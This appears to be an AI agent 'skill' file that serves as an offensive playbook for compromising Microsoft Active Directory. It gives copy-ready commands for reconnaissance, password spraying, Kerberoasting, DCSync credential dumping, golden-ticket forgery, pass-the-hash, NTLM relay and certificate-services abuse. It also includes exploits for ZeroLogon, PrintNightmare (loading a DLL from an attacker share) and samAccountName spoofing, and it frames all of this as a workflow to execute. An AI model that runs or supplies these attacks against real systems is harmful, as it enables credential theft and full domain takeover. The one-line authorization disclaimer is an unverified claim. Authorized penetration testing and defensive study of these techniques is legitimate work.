Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral…
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. Active Directory Attacks Purpose Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing. Inputs/Prerequisites Kali Linux or Windows attack platform Domain user credentials (for most attacks) Network access to Domain Controller Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec Outputs/Deliverables Domain enumeration data Extracted credentials and hashes Kerberos tickets for impersonation Domain Administrator access Persistent access mechanisms Essential Tools Tool Purpose BloodHound AD attack path visualization Impacket Python AD attack tools Mimikatz Credential extraction Rubeus Kerberos attacks CrackMapExec Network exploitation PowerView AD enumeration Responder LLMNR/NBT-NS poisoning Core Workflow Step 1: Kerberos Clock Sync Kerberos requires clock synchronization (±5 minutes): # Detect clock skew nmap -sT 10.10.10.10 -p445 --script smb2-time # Fix clock on Linux sudo date -s "14 APR 2024 18:25:16" # Fix clock on Windows net time /domain /set # Fake clock without changing system time faketime -f '+8h' <command> Step 2: AD Reconnaissance with BloodHound # Start BloodHound neo4j console bloodhound --no-sandbox # Collect data with SharpHound .\SharpHound.exe -c All .\SharpHound.exe -c All --ldapusername user --ldappassword pass # Python collector (from Linux) bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all Step 3: PowerView Enumeration # Get domain info Get-NetDomain Get-DomainSID Get-NetDomainController # Enumerate users Get-NetUser Get-NetUser -SamAccountName targetuser Get-UserProperty -Properties pwdlastset # Enumerate groups Get-NetGroupMember -GroupName "Domain Admins" Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member # Find local admin access Find-LocalAdminAccess -Verbose # User hunting Invoke-UserHunter Invoke-UserHunter -Stealth Credential Attacks Password Spraying # Using kerbrute ./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123 # Using CrackMapExec crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success Kerberoasting Extract service account TGS tickets and crack offline: # Impacket GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt # CrackMapExec crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt # Crack with hashcat hashcat -m 13100 hashes.txt rockyou.txt AS-REP Roasting Target accounts with "Do not require Kerberos preauthentication": # Impacket GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat # Rubeus .\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt # Crack with hashcat hashcat -m 18200 hashes.txt rockyou.txt DCSync Attack Extract credentials directly from DC (requires Replicating Directory Changes rights): # Impacket secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt # Mimikatz lsadump::dcsync /domain:domain.local /user:krbtgt lsadump::dcsync /domain:domain.local /user:Administrator Kerberos Ticket Attacks Pass-the-Ticket (Golden Ticket) Forge TGT with krbtgt hash for any user: # Get krbtgt hash via DCSync first # Mimikatz - Create Golden Ticket kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt # Impacket ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache psexec.py -k -no-pass domain.local/Administrator@dc.domain.local Silver Ticket Forge TGS for specific service: # Mimikatz kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt Pass-the-Hash # Impacket psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH # CrackMapExec crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth OverPass-the-Hash Convert NTLM hash to Kerberos ticket: # Impacket getTGT.py domain.local/user -hashes :NTHASH export KRB5CCNAME=user.ccache # Rubeus .\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt NTLM Relay Attacks Responder + ntlmrelayx # Start Responder (disable SMB/HTTP for relay) responder -I eth0 -wrf # Start relay ntlmrelayx.py -tf targets.txt -smb2support # LDAP relay for delegation attack ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access SMB Signing Check crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt Certificate Services Attacks (AD CS) ESC1 - Misconfigured Templates # Find vulnerable templates certipy find -u user@domain.local -p password -dc-ip 10.10.10.10 # Exploit ESC1 certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local # Authenticate with certificate certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 ESC8 - Web Enrollment Relay ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController Critical CVEs ZeroLogon (CVE-2020-1472) # Check vulnerability crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon # Exploit python3 cve-2020-1472-exploit.py DC01 10.10.10.10 # Extract hashes secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass # Restore password (important!) python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD PrintNightmare (CVE-2021-1675) # Check for vulnerability rpcdump.py @10.10.10.10 | grep 'MS-RPRN' # Exploit (requires hosting malicious DLL) python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll' samAccountName Spoofing (CVE-2021-42278/42287) # Automated exploitation python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell Quick Reference Attack Tool Command Kerberoast Impacket GetUserSPNs.py domain/user:pass -request AS-REP Roast Impacket GetNPUsers.py domain/ -usersfile users.txt DCSync secretsdump secretsdump.py domain/admin:pass@DC Pass-the-Hash psexec psexec.py domain/user@target -hashes :HASH Golden Ticket Mimikatz kerberos::golden /user:Admin /krbtgt:HASH Spray kerbrute kerbrute passwordspray -d domain users.txt Pass Constraints Must: Synchronize time with DC before Kerberos attacks Have valid domain credentials for most attacks Document all compromised accounts Must Not: Lock out accounts with excessive password spraying Modify production AD objects without approval Leave Golden Tickets without documentation Should: Run BloodHound for attack path discovery Check for SMB signing before relay attacks Verify patch levels for CVE exploitation Examples Example 1: Domain Compromise via Kerberoasting # 1. Find service accounts with SPNs GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 # 2. Request TGS tickets GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt # 3. Crack tickets hashcat -m 13100 tgs.txt rockyou.txt # 4. Use cracked service account psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10 Example 2: NTLM Relay to LDAP # 1. Start relay targeting LDAP ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access # 2. Trigger authentication (e.g., via PrinterBug) python3 printerbug.py domain.local/user:pass@target 10.10.10.12 # 3. Use created machine account for RBCD attack Troubleshooting Issue Solution Clock skew too great Sync time with DC or use faketime Kerberoasting returns empty No service accounts with SPNs DCSync access denied Need Replicating Directory Changes rights NTLM relay fails Check SMB signing, try LDAP target BloodHound empty Verify collector ran with correct creds Additional Resources For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md. When to Use This skill is applicable to execute the workflow or actions described in the overview. 1
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